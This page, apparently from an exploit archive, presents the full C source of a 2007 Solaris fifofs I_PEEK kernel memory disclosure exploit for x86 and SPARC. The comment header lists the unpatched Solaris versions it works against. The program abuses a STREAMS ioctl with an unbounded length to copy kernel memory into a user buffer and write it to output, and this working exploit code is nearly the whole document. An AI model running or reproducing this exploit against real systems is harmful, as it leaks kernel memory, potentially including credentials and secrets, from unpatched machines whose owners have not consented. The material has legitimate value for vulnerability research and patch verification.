exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

solaris-fifofs.txt

solaris-fifofs.txt
Posted Oct 11, 2007
Authored by qaaz

Solaris fifofs I_PEEK kernel memory disclosure exploit for x86/sparc.

tags | exploit, x86, kernel
systems | solaris
SHA-256 | cda504ca70a36cef8226f4a95896c7dee7537f1fcc1ed72f7bfd6a7988fea5f7

solaris-fifofs.txt

Change Mirror Download
/* 10/2007: public release
* SPARC
* Solaris 8 without 109454-06
* Solaris 9 without 117471-04
* Solaris 10 without 127737-01
* x86
* Solaris 8 without 109455-06
* Solaris 9 without 117472-04
* Solaris 10 without 127738-01
*
* Solaris fifofs I_PEEK Kernel Memory Disclosure
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#define PAGE_COUNT 1000

int main(int argc, char *argv[])
{
struct strpeek strpeek;
char *buf, *end;
int pg = PAGE_COUNT, fd, pagesz, bufsz;

fprintf(stderr,
"---------------------------------------\n"
" Solaris fifofs I_PEEK Kmem Disclosure\n"
" By qaaz\n"
"---------------------------------------\n");

if (argc > 1) pg = atoi(argv[1]);

pagesz = getpagesize();

if (mknod("fifo", S_IFIFO | 0666, 0) < 0) {
perror("mknod");
return -1;
}

switch (fork()) {
case -1:
perror("fork");
goto cleanup;
case 0:
if ((fd = open("fifo", O_WRONLY)) < 0) {
perror("open");
exit(0);
}
write(fd, "abcd", 4);
exit(0);
break;
default:
if ((fd = open("fifo", O_RDONLY)) < 0) {
perror("open");
goto cleanup;
}
break;
}

bufsz = (pg + 1) * pagesz;
if (!(buf = memalign(pagesz, bufsz))) {
perror("malloc");
goto cleanup;
}

memset(buf, 0, bufsz);
end = buf + (pg * pagesz);

fprintf(stderr, "-> [ %p .. %p ]\n", buf, end);
fflush(stderr);

if (mprotect(end, pagesz, PROT_NONE) < 0) {
perror("mprotect");
goto cleanup;
}

memset(&strpeek, 0, sizeof(strpeek));
strpeek.databuf.buf = buf;
strpeek.databuf.maxlen = -1;
if (ioctl(fd, I_PEEK, &strpeek) < 0) {
perror("ioctl");
goto cleanup;
}

while (end > buf && end[-1] == 0)
end--;
fprintf(stderr, "== %d\n", (int) (end - buf));
fflush(stderr);

if (!isatty(1))
write(1, buf, (size_t) (end - buf));

cleanup:
unlink("fifo");
return 0;
}

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close